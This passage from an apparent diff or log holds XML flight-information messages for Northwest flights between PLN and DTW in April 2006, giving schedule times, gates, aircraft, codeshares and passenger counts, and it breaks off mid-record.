+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:59Z</msg_dtm><msg_seq_id>114619289900000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-29T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-29T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-29T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T06:17:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T06:22:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T07:36:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T07:41:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C14</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T03:27:12Z</msg_dtm><msg_seq_id>114619483200000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-27T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-27T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T22:14:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T23:26:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T23:31:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3203</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Landed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>31</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>26</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T03:47:15Z</msg_dtm><msg_seq_id>114619603500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-27T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-27T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T22:14:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T23:30:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T23:35:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3203</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Arrived</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>31</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>26</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T05:15:02Z</msg_dtm><msg_seq_id>114620130200000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-28T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-28T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-28T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T22:16:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T22:26:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T23:38:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T23:43:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3203</flt_radio_cde><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>MC</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T05:15:58Z</msg_dtm><msg_seq_id>114620135800000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3207</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C30</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3207</flt_radio_cde><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7460</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>7</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>4</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>MC</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T05:16:00Z</msg_dtm><msg_seq_id>114620136000000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C34</arvl_gate><flt_radio_cde>3232</flt_radio_cde><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>MC</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T05:16:20Z</msg_dtm><msg_seq_id>114620138000000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C14</arvl_gate><flt_radio_cde>3202</flt_radio_cde><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>MC</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T05:35:30Z</msg_dtm><msg_seq_id>114620253000000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C8</arvl_gate><flt_radio_cde>3232</flt_radio_cde><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>GATE</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T05:37:41Z</msg_dtm><msg_seq_id>114620266100000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C1</arvl_gate><flt_radio_cde>3202</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> 